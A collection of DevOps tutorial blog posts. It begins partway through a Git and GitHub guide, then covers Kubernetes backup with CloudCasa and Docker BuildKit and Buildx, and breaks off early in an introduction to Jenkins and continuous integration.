If our computer gets corrupted or breaks, we loose the project. So, we have to store the project on the remote server.

We can host git projects on the remote server using `git push` command. A copy from the local machine is then stored on the remote server. 

In a nutshell, **GitHub** is a platform for hosting code and collaborating on Git repositories.


![Github Repositories-1 (1).png](/img/blog/understanding-the-ins-and-outs-of-git-using-github/xe185az3k.png)




### Create a GitHub repo


On your GitHub account, click on **New** under the **Repositories** section and enter the **Repository name** -> **Create repository**


![Screenshot (163).png](/img/blog/understanding-the-ins-and-outs-of-git-using-github/RK8sywAaq.png)

Let's follow the below steps for **Git Push** : 

- Copy the path under the CODE section of your repository as shown -


![Screenshot (164).png](/img/blog/understanding-the-ins-and-outs-of-git-using-github/99o9JBV1L.png)

- Type the below code on the Terminal 
```
git remote add origin <path_url>
git branch -M main
git push -u origin main
```

> If it fails and got denied then we need to configure our GitHub Account.




### SSH keys SetUp


With SSH keys, we can connect to GitHub without supplying our username and personal access token at each visit. Here, we will see the simple procedure of setting up a SSH key on GitHub.  

Follow the below steps to configure your GitHub account to push your local repository to remote repository. 

- Click on your profile icon -> Settings -> Select SSH and GPG keys -> Click on "generating SSH keys" -> "Generating a new SSH key and adding it to the ssh-agent" as shown below : 


![Screenshot (139).png](/img/blog/understanding-the-ins-and-outs-of-git-using-github/lv5oPH-yi.png)



This page has installation processes for Mac, Windows as well as Linux. Perform the mentioned procedures step-by-step.

> Press Enter to skip entering passphrase in the Terminal.

- Then move on to "Adding your SSH key to the ssh-agent" and follow the steps mentioned.


![InkedScreenshot (143)_LI-two.jpg](/img/blog/understanding-the-ins-and-outs-of-git-using-github/KjQFc46xZ.jpg)


- Next select "Adding a new SSH key to your GitHub account" -> Gives the "key" that we need to upload -> Paste in the "Add SSH key" section under your GitHub account SSH key.


![InkedScreenshot (153)_LI (1).jpg](/img/blog/understanding-the-ins-and-outs-of-git-using-github/4_0BxWmFp.jpg)

- At last, you are prompted to add the GitHub account password and the SSH key is set as displayed below :

![InkedScreenshot (156)_LI-2.jpg](/img/blog/understanding-the-ins-and-outs-of-git-using-github/4prOiL0Kc.jpg)


Now, `git push -u origin main` works & all the files created are displayed in the "learning-git" repository on your GitHub account.



### Git Pull

Here, we will learn to take files from GitHub and pull the changes to our local machine. 

For example, we can add something and **Commit** on the README file of learning-git on GitHub. 

We can pull these changes using `git pull` command on our local machine.



### Understanding Branches


A **branch** represents an independent line of development. On our Terminal, by default we are on main branch.

**main** and **master** branches are the default branches and basically are same. GitHub recently changed the name of master branch to main branch. 

Always try to make separate branches for each task and make Pull Request (PR) using those branch that is, one branch can only open one PR.

When we create a branch, we are taking a copy of the existing branch and can make any changes on our branch without affecting the main branch.

Once done with the implementation, we can merge our branch back into the main branch.


![github branches.png](/img/blog/understanding-the-ins-and-outs-of-git-using-github/Y3H2DMsGj.png)

 Few important commands related to branch are :

- `git branch <branch_name>` creates a new branch 

- `git branch`  is used to know which branch we are currently on.

- `git branch -r` tells the list of branches in the remote server [ 'r' stands for remote].

- ` git branch -a` checks all the branches on GitHub .

- `git checkout <branch_name>` switches to the named branch

- `git checkout -` switches to the previous branch.

- `git checkout -b <branch_name>` switches to a new branch

- `git branch -d <branch_name>` deletes the branch 


Let's see an example to create and commit a branch.

```
git branch feature-a
git checkout feature-a  
vi utils.js 
git add .
git commit -m "utils.js file updated"
git push -u origin feature-a
```
 


### Merging and Pull Requests


The best practice for merging branches is to do it through Pull Request. Here, we will see how to merge the changes from **feature-a** branch into the **main** branch. 

We can do this by using the `git merge feature-a` command.

But by using Pull Requests :- 

We can see an option of **Compare & pull request** on our GitHub repository. Good practice is to add the comment and then click on "Create a Pull Request". The Reviewers review and merge Pull Requests by clicking on "Merge pull request" and "Confirm Merge" if the changes are approved.

We can then delete the feature-a branch and it can always be undone.




### The General Workflow

Let me walk through the workflow when it comes to working with Git. 

The first thing to do is, while working on a feature, pull the latest changes from the master (remote repository) down to your local machine. From that point, you create a new branch using `git checkout -b <branch-name>` and perform the commits,etc. 

It is advisable to rebase your changes against the master branch as then you may not have conflicts. 

If you have n commits, then you have to resolve the conflict for each commit. So, you should squash all your local commits first, then in your branch you have one single commit, then stash your commit (push it aside), then bring all the changes from the master to the main (rebase master) and then bring your stashed commit back top of it. Having one single commit means you have to resolve the conflicts once and you're good to go.

Then, you can push it to remote server and raise a Pull Request. If the changes are approved then your changes are merged into the main branch.


### Conflicts

A conflict arises when two separate branches have made edits to the same line in a file, or when a file has been deleted in one branch but edited in the other.

We will illustrate this by an example.
  
Let's create a new branch and then edit index.html file :
```
git checkout -b feature-xyz
vi index.html
```
We'll type the below html code in index.html file -
```
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
</body>
</html>
```
Then,
``` 
git add .
git commit -m "add some html"
git push --set-upstream origin feature-xyz
```
Now, we will go to the **GitHub** and edit index.html file of the "feature-xyz" branch and then perform 'commit changes' :

```
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
    <h1>This is a heading</h1>
    <p>This is a paragraph</p>
</body>
</html>
```

In my remote branch, it's not aware what is happening and edit this file as :
```
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
    <p>This is an another paragraph</p>
</body>
</html>
``` 
Now, we will see some conflicts :
```
git add .
git commit -m "added another p tag"
git push 
```
The reason behind the ERROR is that the changes made on GitHub is not pulled to the local computer.

### Merging Conflicts

So, we need to pull before we push our changes : `git pull` -> It fails and asks to "first fix conflicts and then commit the result". The changes can be found in `vi index.html` when the editor opens. Now, here we can fix the changes and then commit :
```
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
    <h1>This is a heading</h1>
    <p>This is a paragraph</p>
    <p>This is an another paragraph</p>
</body>
</html>
```
- TIP : VS Code Editor helps in resolving the conflicts much faster.

Now, we have to bring the changes to the staging area and then commit -
```
git add .
git commit -m "resolved conflict"
git push
```
This time it works !
So, this how we merge conflicts.


### Rebase

**Rebase** is a process to apply a sequence of commits from distinct branches into a final commit.

While working on a branch, when we say `git checkout` we should really be checking out from the main branch. 

In case of multiple commits, the main branch moves out and we don't have the commits from the main/ master branch. So, rebase brings all the commits from the main branch into our branch and then apply our changes (from the branch) on top of it.



### Git Rebase

We are going to demonstrate the rebase functionality with the git.

Remember we created feature-xyz branch. But the changes do not reflect in the main branch on GitHub  because we haven't merged our branch. The "compare and Pull Request" option is still present in the pull request section.

- TIP : We should not commit to main branch directly.

Here, for demonstration purpose, we will edit index.html file in main branch on GitHub as :
```
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
    <p>First paragraph</p>
</body>
</html>
```
Now, we want to take the latest changes from the main branch and then add our changes on top of it - this is what rebase allows us to do.

On our terminal we type `git pull -r origin main` -> gives ERROR of merged conflicts

> We can edit changes using VS Code Editor by omitting the last code and keeping the latest one in index.html file.

Now,
```
git add .
git rebase --continue
```
Unable to do as we have encountered the second commit. On opening VS Code, we will edit the changes found.

Again,
```
git add .
git rebase --continue
```
This is the last commit. 

We will fix all the conflicts using VS Code and perform :
```
git add .
git rebase --continue
```
Now, successfully rebased and updated. 

Using`git push -f` command, we will push these changes because we have rebased [ Here, f stands for forced push ]. Now all the changes from main have been brought to the feature-xyz branch on GitHub. 

Finally, we click on 'Compare and pull request' in Pull requests section.

So, we had to resolve a couple of commits to rebase properly. 

There is an alternative to this :

While merging to the main branch, if you have n commits on your pull request, you squash all those commits into one commit and then merge it to the main branch. 

There is an option of "Squash and merge" under Merge pull request.


![Screenshot (165).png](/img/blog/understanding-the-ins-and-outs-of-git-using-github/P6njTFqHL.png)

This way we have to resolve only once as it is much easier than fixing all the commits one by one.


Congratulations !! You are now all set to start with Git and GitHub.


Practice, explore and learn by doing.

If you found this article helpful, give me some claps 👏

Connect with me over [ here ](https://linktr.ee/BushraNazish)


> Do Follow KUBESIMPLIFY for more such amazing blogs !!

---

# Kubernetes backup using CloudCasa

- Canonical: https://blog.kubesimplify.com/kubernetes-backup-using-cloudcasa
- Published: 2022-04-06
- Summary: Easy Kubernetes backup and restore using CloudCasa.

Kubernetes, over the years, has become the defacto standard for running containerized applications and it is also now growing in terms of running VM workloads side by side containers using the projects like KubeVirt. Running stateless workloads on Kubernetes is not the case these days, people are running databases and other stateful workloads on Kubernetes as well using persistent volume and persistent volume claim. In any case the need for Kubernetes backup and restore strategy should be in place from day1. You cannot wait for things to go wrong or data to get corrupted. 

There are different solutions out there that can help you with your strategy but in this post, I will focus on CloudCasa. 
CloudCasa is a simple backup service that allows Kubernetes users to run CSI snapshots across unlimited clusters for free. Improves your cyber resilience by also delivering free vulnerability assessments on what you protect.
Let me know if you want me to write a few posts on Kanister, Longhorn, Velero wrt Kubernetes backup. 

Let us try to understand it with a complete end to end example. 

### Step 1 Creating CloudCasa account

Go to cloudcasa.io and hit Signup.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/DOTObPJuK.png)

Enter all the details and click the signup button.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/tWTA8OiEe.png)

Verify the email and Login to get a fancy dashboard.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/g6rCBJZ_o.png)

### Step 2 Adding a cloud account
Now add a cloud account from the configuration section and create the stack.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/OkjlEhEWU.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/p-BMcrh8c.png)

It will automatically open up the console and take you to the required page, create the stack and you should see it getting created.

After some time you will be able to see the stack created in your AWS account.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/WTTmfvBPj.png)

### Step 3 Adding a cluster

Now let's add the cluster, you can manually add the cluster or select from the list of clusters that gets populated in your account from the cloud account that you added.


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/r3HHcvta-.png)

In this case, let's add a cluster to see that flow as well.
![image.png](/img/blog/kubernetes-backup-using-cloudcasa/jw-bdg3ot.png)

When you add the cluster, it gives out a command that needs to be run on the cluster to get the CloudCasa agent components to be installed into the cluster and take the necessary steps to backup/restore stuff.


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/90VJ-Nf07.png)

Now I already have a cluster running 
```
kubectl get nodes
NAME                         STATUS   ROLES    AGE   VERSION
ip-10-0-1-231.ec2.internal   Ready    <none>   12d   v1.20.11-eks-f17b81
ip-10-0-2-227.ec2.internal   Ready    <none>   12d   v1.20.11-eks-f17b81
ip-10-0-3-193.ec2.internal   Ready    <none>   12d   v1.20.11-eks-f17b81
```
Let's run the command that we got above

```
kubectl apply -f https://api.cloudcasa.io/kubeclusteragents/rAwXghje_ajKlx7g2w-wAT5N8ICb06n4V09Tfs_3QDY=.yaml
namespace/cloudcasa-io created
serviceaccount/cloudcasa-io created
clusterrolebinding.rbac.authorization.k8s.io/cloudcasa-io created
deployment.apps/cloudcasa-kubeagent-manager created
```
The agent is deployed and the cluster becomes active on the CloudCasa dashboard.


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/F8nbLAJuw.png)

### Step 4 - Define backups 
Let's define the backup now. 


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/jJCqgIrTt.png)

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/YmEUHZu7c.png)

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/Eyle2ORTI.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/60XDz7LP9.png)

With a simple 4 step process, the backup is now defined.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/7XZnStzPp.png)

The cluster has WordPress and MySQL installed already. 

### Step 5 - Running the backup

You can simply run the backup you created and see it in the activity area that it is running. 

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/EG2Bee2nS.png)

Notice the backup getting complete.


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/wpXb3w7a2.png)

### Step 6 - Restore
You can easily restore from the backup to the same cluster or a different cluster, even in a different namespace. 

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/AAR5f_kts.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/g_guwnoXG.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/yDXUlEFJk.png)

It will start a restore job and after some time the restoration will be completed. 

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/0Oe5UDu7o.png)

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/WNahArFi7.png)

Was that too simple?? Yes, it was, that is what CloudCasa is all about, making it too simple to backup and restore Kubernetes clusters. 

## Advanced Restore 
CloudCasa has a special functionality that spins up a new EKS cluster automatically on the restore. In order to see this, you need to choose the auto-discovered EKS cluster and install the cloud casa agent on that. After that, you need to enable snapshot and copy when you define the backup.

Let's add the cluster `eks-test-2` that was auto-discovered by CloudCasa

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/XSbbBL2zp.png)

Run the agent on the cluster
```
kubectl apply -f https://api.cloudcasa.io/kubeclusteragents/yl4RaYF2n_9Icx9IVdeRhKcOOm2LgC4CL91aBJDBJj8=.yaml
namespace/cloudcasa-io created
serviceaccount/cloudcasa-io created
clusterrolebinding.rbac.authorization.k8s.io/cloudcasa-io created
deployment.apps/cloudcasa-kubeagent-manager created
```
The cluster becomes active in a few minutes.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/g6fUnrNbE.png)

Now, let's defined the backup with `snap+copy` and run it.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/xghx2p0Be.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/UYQML3MOo.png)

When you go to the restore section, you first select the copy to be restored.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/VWIqeVM1k.png)

On the 3rd step, you choose `Create EKS Cluster`.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/gxih-O7LM.png)

Now, in the next step, you enter/choose the AWS account, role and configuration(this is something CloudCasa will populate in the dropdowns and you just need to select from it). You can also go into your AWS account and create new roles by following the docs.


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/daEafp5n7.png)

Once you hit save, the restoration job will start in some time you will be able to see the status from the dashboard.

Once the job is complete you can go back to your AWS console and see the cluster created successfully with the copy of backup, this is simply amazing!!

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/IblRx-PRW.png)

## Security Scanning 
Apart from backup and restore, CloudCasa also provides an option to run a curated set of vulnerability scans right from the dashboard.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/ys7OMPUjV.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/9Hb0F_I_e.png)

Once the scan is complete, you can view the reports and see that there are a number of scans that are done. The report gives a great view of all the test cases that are being done with descriptions as well. This is a beta feature so I believe there is work to improve it. I would like to see the remediation steps and fix some of the things right from the browser.


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/0lLB3z_AH.png)


It performs checks against the workloads, the benchmarks, and network scans as well!

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/CBrb7J15t.png)


![image.png](/img/blog/kubernetes-backup-using-cloudcasa/SmUvo0s3G.png)

So with the Backup/Restore you also get the power of scanning your cluster and making it more secure. The Backup/Restore and security of the cluster are the two most important areas that everyone should start implementing right from the beginning and CloudCasa is making these super simple. 

## Pricing 
CloudCasa has a transparent pricing model and a very generous free tier as well.

![image.png](/img/blog/kubernetes-backup-using-cloudcasa/ZiDZSTG-P.png)

The free plan is actually without a credit card with a 100 GB promotion or you can choose a premium service plan with monthly or annual pricing. Moreover, you only pay for PV data and all the plans give free etcd, PV, RDS snapshot management with no limit to worker nodes or clusters. 

Check out CloudCasa and give it a spin! 

Follow kubesimplify for more interesting articles like this.

---

# The secret gems behind building container images, Enter: BuildKit & Docker Buildx

- Canonical: https://blog.kubesimplify.com/the-secret-gems-behind-building-container-images-enter-buildkit-and-docker-buildx
- Published: 2022-04-05
- Summary: In this post, we discussed various things about Buildkit, its internals, how to interact with BuildKit and its benefits in container image building. Feel fr

## Abstract

Containers are a part of our life right now, and until recent years our knowledge is only limited to Docker itself. Because it handles everything for us, it provides a high-level language, Dockerfile, where you construct your image, and it can quickly run the given container image with a single line of command. However, after its first release, there was a need for an open-source community, so Docker initiated an umbrella project named Moby. Under that project, Docker separated itself into many parts, such as containerd for the container runtime and the BuildKit project as an alternative to Docker build engine.

In this post, we will be outlining what BuildKit history. Then, in the following parts, we will show the internal components of BuildKit. Next, we will demonstrate how a user can interact with BuildKit, and we will discuss the benefits of using BuildKit in container image building.

## History

![Screen Shot 2022-03-24 at 12.04.11.png](/img/blog/the-secret-gems-behind-building-container-images-enter-buildkit-and-docker-buildx/BSGtq9XGA.png)

Long story short, it all started with the tweet above. We’ll be explaining what we need to know about the history of the BuildKit project through this tweet. 

First and foremost, we should talk about the [Moby Project](https://github.com/moby/), the hidden gem behind Docker’s success.  

> The Moby Project is a new open-source project to advance the software containerization movement and help the ecosystem take containers mainstream. - [Introducing Moby Project](https://www.docker.com/blog/introducing-the-moby-project/)

Docker was born as a monolithic application. The Docker engine was responsible for doing all of the containerization work, such as creating and running containers, pulling images from registries, managing data, etc. With the [release of Docker engine v1.11](https://www.docker.com/blog/docker-engine-1-11-runc/), the monolith has been decoupled into independent components, which caused Moby to be spun out. More basically, you can think Moby project as an R&D lab as Solomon Hykes said to experiment, develop new components, and collaborate with the ecosystem on the future of container technology by providing a comprehensive library to the contributors.

The next important thing we should mention is the person who is the primary developer of the BuildKit project, and it is safe to say that he is the person who made it all happen, basically, [Tõnis Tiigi](https://mobile.twitter.com/tonistiigi). So I highly recommend following him to keep up-to-date with the recent changes and updates about the BuildKit and Buildx projects. He is also writing excellent blog posts on his [Medium account](https://medium.com/@tonistiigi/).

Last but not least, we should also talk about the BuildKit project itself. It will be a quick introduction to the project because we’ll discuss it in more detail in the following section. The two most important things we should know about the BuildKit project are that it is a new project under the Moby umbrella for building and packaging software using containers and the latter, it is a new codebase meant to replace the internals of the current build features in the Moby Engine, which means that Docker will use BuildKit as a default build engine in the future.

## Enter BuildKit

Buildkit’s first proposal was to separate the docker build engine from the docker monolith structure to be the next generation of the docker build engine. It offers many key features, mainly focusing on performance, storage management, and extensibility. Let’s start by explaining the performance part. First, BuildKit announces a new concurrent graph build solver. That means it can run the build steps in parallel if possible, and it also removes the unnecessary commands that do not affect the overall build process. For instance, if we have the following Dockerfile:

%[https://gist.github.com/gokcesurenkok/c0450dfa8ee503da36cc23bcc9d73c32]

Docker build engine will execute it sequentially```
( stage-0 → stage-1 → stage-2)
```. However, BuildKit will execute the exact Dockerfile parallel since there is no dependency between stage-0 and stage-1.
BuildKit also introduced LLB, which means a new low-level build definition format.LLB is where the dependency graph is generated. Yet, it also provides features like direct data mounting, so basically, everything about the execution of the build is defined in LLB.LLB and it can be generated directly utilizing a [golang client package](https://godoc.org/github.com/moby/buildkit/client/llb) that defines the connections between your build procedures using Go language primitives. 

The caching mechanism of BuildKit differs from the docker build engine as well. It tracks the checksum graphs of builds and can be exported to remote locations such as a registry. Therefore it is much faster. BuildKit also provides a frontend which is a component that takes a human-readable build format and converts it to LLB so BuildKit can execute it. Frontends can be broadcasted as images, and the user can target a specific version of a frontend that is ensured to function for the features used by their intention.BuildKit supports loading frontends dynamically from container images. To use the external frontend, the first line of your Dockerfile needs to be #syntax=docker/dockerfile:1.4.0 indicating the exact image you want to operate. 

Let’s see some examples of building your container image using the LLB golang client. First, you can programmatically create your image as in the following example.

%[https://gist.github.com/developer-guy/373d393a36ab5fc3ff164710aafe3a08]

Second, you can also use a high-level language apart from Dockerfile, such as [Mockerfile](https://github.com/r2d4/mockerfile), [Gockerfile](https://github.com/po3rin/gockerfile), Buildpacks, Earthly, etc.

![buildctl-2.png](/img/blog/the-secret-gems-behind-building-container-images-enter-buildkit-and-docker-buildx/xBoFnQlwP.png)

There are two ways to build your image with BuildKit.

If you want to use the docker client in your working environment, you can enable it by simply setting an environment variable **DOCKER_BUILDKIT** to **1** and using the Docker build command, or you 
can put
```
{ “features”: { “buildkit”: true } } 
```
line to your **/etc/docker/daemon.json **file

The second way is to install buildctl and buildkitd, but it is not easy to use. Thus, Docker Buildx is a CLI plugin that expands the docker command with the complete support of the features provided in BuildKit.

## Enter Docker Buildx

Even though we have a client tool for BuildKit called **buildctl**, buildctl was not developed to be part of our toolset that we use daily. Instead, it is similar to BuildKit’s intent which is meant to become a low-level build engine that handles building/pushing and running container images for the higher-level tools such as Docker Buildx, kim, img, etc. You can access the complete list from [here](https://github.com/moby/buildkit#used-by). This is where Docker Buildx comes into play.

Docker Buildx is built on BuildKit technology and a CLI plugin that extends the docker command with the full support of the features provided by the Moby BuildKit builder toolkit because, as we mentioned earlier, you can enable the BuildKit engine while using docker CLI itself. Still, it limits to use of all the features supported by BuildKit. It provides the same user experience as docker build with many new features like creating scoped builder instances and building against multiple nodes concurrently. - [Working with Buildx](https://docs.docker.com/buildx/working-with-buildx/) 

If you wonder what the CLI plugin means, you can extend docker CLI with new sub-commands by simply putting an executable whose name starts with the **“docker-”** prefix into a folder in **~/.docker/cli-plugins**. 

## Demo
Today, we’ll show you how to use Docker Buildx to enhance your build process for the Go applications. We’ll use the external cache support to improve the build process by simply adding a couple of flags which will drastically reduce build time, cache mounts, thanks to docker/dockerfile:v1.4.0 frontend, which will help us to cache packages, build outputs, etc., and the multi-architecture support which is the most valuable (IMHO) feature which skips all the tedious manual steps and [creates a single multi-arch image for you.](https://www.docker.com/blog/multi-arch-build-and-images-the-simple-way/)

Let’s start by using the registry cache type, an external cache type supported by Docker Buildx, and you can access the complete list of external cache types from [here](https://docs.docker.com/engine/reference/commandline/buildx_build/#cache-to). It exports the build cache to a cache manifest in the registry. So, for example, if you are using GitLab as a CI/CD solution in your organization, you might be using stateless runners, which will run as Pods in Kubernetes. In that case, pulling and pushing the image layer cache from the registry might be a good option for you. To enable registry cache, the only thing that you need to do is simply add –cache-to and –cache-from flags to your command with type registry as shown below:

%[https://gist.github.com/developer-guy/e1067651c23f23d61ccf04fdfa17f025]

The next important thing worth mentioning is “[Build Mounts](https://github.com/moby/buildkit/blob/master/frontend/dockerfile/docs/syntax.md#build-mounts-run---mount).” Different types of Build Mounts options exist, but today, we’ll be talking about the specific one called “[cache](https://github.com/moby/buildkit/blob/master/frontend/dockerfile/docs/syntax.md#run---mounttypecache).” This mount type allows the build container to cache directories for compilers and package managers, which is a perfect feature for caching Go packages, and build outputs between builder invocations while building multi-architecture images. 

In addition, the **go** command caches build outputs for reuse in future builds. The default location for cache data is a subdirectory named **go-build** in the standard user cache directory for the current operating system. Setting the **GOCACHE** environment variable overrides this default, and running **'go env GOCACHE'** prints the current cache directory. - [Build and test caching](https://pkg.go.dev/cmd/go#hdr-Build_and_test_caching) 

Another important cache directory for Go applications is the module cache, and the module cache is the directory where the go command stores downloaded module files. The module cache is distinct from the build cache, which contains compiled packages and other build artifacts. The default location of the module cache is **$GOPATH/pkg/mod**. To use a different location, set the **GOMODCACHE** [environment variable](https://go.dev/ref/mod#environment-variables). - [Module Cache](https://go.dev/ref/mod#module-cache)

%[https://gist.github.com/developer-guy/34d6d7aae831965b3365ea801b2291b0]

Last but not least, we’ll build multi-architecture images, to do that, we’ll be able to cross-compile our Go application. Docker BuildX provides the three options for building multi-arch images:

1. QEMU mode (easy, slow)
2. Cross-compilation mode (complicated, fast)
3. Remote mode (easy, fast, but needs an extra machine)

We’ll be looking at the cross-compilation mode in today’s demo because cross-compiling Go applications for different types of architectures has never been so easy. Programs written in Go can easily be compiled for the various target operating systems such as  Windows,  macOS, and  Linux by using the **GOARCH**  and **GOOS**  environmental variables. These represent the compilation architecture and the name of the target operating system, respectively, and are set to your host compilation architecture (**GOHOSTARCH**) and operating system (**GOHOSTOS**) by default. - [Cross Compile Go Programs](https://freshman.tech/snippets/go/cross-compile-go-programs/)

Cross-compilation can be achieved in Dockerfiles in many ways. One way is simply using [automatic platform ARGs](https://docs.docker.com/engine/reference/builder/#automatic-platform-args-in-the-global-scope), which requires a list of arguments to be added to the Dockerfile, such as **BUILDPLATFORM**, **TARGETPLATFORM**, etc. **TARGETPLATFORM** and this variable correspond to the platform you specified in the –platform argument when you run the build. The format of this variable is [os]/[architecture]/[variant]. Instead of parsing the target platform string and passing **GOOS**, **GOARCH**, and **GOARM** explicitly into your build command, you can rely on the TARGETPLATFORM variable kindly provided by Docker. Moreover, you don’t even need to translate TARGETPLATFORM to GOOS, GOARCH, and GOARM by yourself. - [Quick build for Golang cross-platform images](https://sanisimov.com/2019/03/quick-build-for-golang-cross-platform-images/)

Luckily, we have some projects to simplify this process, such as [qdm12/xcputranslate](https://github.com/qdm12/xcputranslate) or [tonistiigi/xx](https://github.com/tonistiigi/xx). So, today, we’ll continue with the xx project. xx provides tools to support cross-compilation from Dockerfiles that understand the --platform flag passed in from docker build or docker buildx build. These helpers allow you to build multi-platform images from any architecture into any architecture supported by your compiler with native performance.

%[https://gist.github.com/developer-guy/25f88d4d07fd1c4800e4e5be4ae379b8]

Once we combine all the samples in one single Dockerfile, it should look like the following: 

%[https://gist.github.com/developer-guy/84be081a6c476f4e6e5e81e5f2f62cc2]

> You can access all the codes of the demo from [here](https://github.com/developer-guy/go-multi-arch-buildx).

Now, we are ready to build a multi-architecture container image with Docker Buildx. To do that, we should download the buildx binary first from [here](https://github.com/docker/buildx#manual-download). But if you are on macOS or Windows platform and installed Docker via Docker Desktop, you should already have buildx installed because Docker Buildx is included in [Docker Desktop](https://docs.docker.com/desktop/). 

![Screen-Shot-2019-04-26-at-7.png](/img/blog/the-secret-gems-behind-building-container-images-enter-buildkit-and-docker-buildx/7StM9q4d2.png)

Docker Desktop ships with hypervisors for the host OS.  The hypervisor is responsible for running a lightweight Linux kernel ([LinuxKit](https://github.com/linuxkit/linuxkit) ), included in Docker Desktop.  This fast and lightweight container OS comes packaged with the QEMU emulator and pre-configured with [binfmt_misc](https://lwn.net/Articles/630727/) to run binaries of any supported architecture. **binfmt_misc** is a kernel feature that allows invoking almost every program by simply typing its name in the shell. It recognizes the binary type by matching some bytes at the beginning of the file with a magic byte sequence (masking out specified bits) you have supplied. The diagram above shows QEMU emulation for the arm/v6, arm/v7, and arm64 Docker images. As an alternative to installing the QEMU and binfmt-support packages on your host system, you can use a docker image to satisfy the corresponding requirements. Several docker images do the job, including [multiarch/qemu-user-static](https://github.com/multiarch/qemu-user-static) and [tonistiigi/binfmt](https://github.com/tonistiigi/binfmt). - [Building Multi-Arch Images for Arm and x86 with Docker Desktop](https://www.docker.com/blog/multi-arch-images/)

> When you ask the Linux kernel to run some executable file, it needs to know, how to load this specific file, and whether this file is compatible with the current machine, or not. By default, the ELF binary compiled for, say, arm64v8 is rejected by the kernel, running on amd64 hardware.
> However, the [binfmt_misc](https://en.wikipedia.org/wiki/Binfmt_misc) feature of the kernel allows you to tell it, how to handle the executables it cannot usually handle on its own - this includes the cases when the kernel does not know the binary format or considers it incompatible with current machine.
> What the container started from the image multiarch/qemu-user-static:register does? It registers new handlers for ELF binaries built for alternative architectures 
> https://stackoverflow.com/questions/57178788/docker-build-fails-for-arm-images

The first command we should run to decide whether buildx is working is “ls.” ls command will display all the builder instances available to run image builds. But, of course, we can create the builder instances in addition to default ones, and we’re going to create one because the default builder instance Docker Daemon itself does not currently support exporting cache features. So, you should see an error like the following if you run your build with the default builder instance with cache enabled:
Error: cache export feature is currently not supported for the docker driver. Please switch to a different driver (e.g., "docker buildx create --use")
If you list your builder instances, you should see something similar to this:
%[https://gist.github.com/developer-guy/da064da3eb135d814b3c7ece165eed33]
Now, let’s create a new builder instance to facilitate exporting cache feature. To do that, the only thing we need to do is:

%[https://gist.github.com/developer-guy/ce5f594e1352d26a05e0d2ebb7b8da43]

Finally, let’s build a multi-arch container image with a single command like the following:

%[https://gist.github.com/developer-guy/0a990bfc2c695e2a334765f7489d89fa]

Once we have the image, we can check whether the image was built multi-arch by simply running the “crane manifest” command to display its variants:

> To install crane utility: https://github.com/google/go-containerregistry/blob/master/cmd/crane/

![Screen Shot 2022-04-01 at 21.26.57.png](/img/blog/the-secret-gems-behind-building-container-images-enter-buildkit-and-docker-buildx/bf8hAH5UP.png)


## Conclusion 
In this post, we discussed various things about Buildkit, its internals, how to interact with BuildKit and its benefits in container image building. Feel free to try out the examples and let us know if you find this post interesting or have any questions. 

## Authors 
This post is a combined effort of  [Batuhan Apaydın](https://twitter.com/developerguyba) and [Gökçe Sürenkök](https://twitter.com/gokcesurenkok)

Follow kubesimplify for such amazing blog posts!

---

# ✨ Introduction to Jenkins ✨

- Canonical: https://blog.kubesimplify.com/introduction-to-jenkins
- Published: 2022-04-04
- Summary: Jenkins is an automation tool written in Java with built-in plugins for continuous integration tasks. It is used to continuously build and test project

👉 Before we jump to Jenkins, let's understand the situation before Jenkins(or before Continuous Integration).

### Manual Build Process

- Developers have to wait until the complete software is developed for the test results.

- If the test results show bugs then it was tough for developers to find those bugs because they have to check the entire source code of the application, which in turn slows the software delivery process.

- The whole process was manual which increases the risk of frequent failure.

To overcome this manual build processing, ***Continuous Integration***  came into picture.

### Let's first understand how Continuous Integration is done ?

First you have to split the entire code into segments then you have to keep small segment of this manageable code after that make the required changes, then you have to integrate the segmented code like multiple times for days so that everyone has that code and they can coordinate with your team.

### What is Continuous Integration?

Continuous integration, often abbreviated as CI. It is a software development practice  where members of a team integrate their work frequently, usually each person integrates at least daily. Each integration is verified by an automated build and tests to detect integration errors as quickly as possible. This approach reduced integration problems and allows a team to develop software more rapidly.

![Screenshot (879).png](/img/blog/introduction-to-jenkins/2OjHh7px9.png)


**Continuous Integration Workflow**

![Screenshot (907).png](/img/blog/introduction-to-jenkins/0OVU8bMON.png)

**Benefits of Continuous integration**

- Immediate bug detection
- Committing code frequently
- Less context switching as developers are alerted as soon as they break the build
- Spend less time debugging and more time adding features
- Reduce integration problems allowing you to deliver software more rapidly

**Continuous Integration Tools **

Some famous CI Tools are :
- Jenkins
- TeamCity
- Bamboo
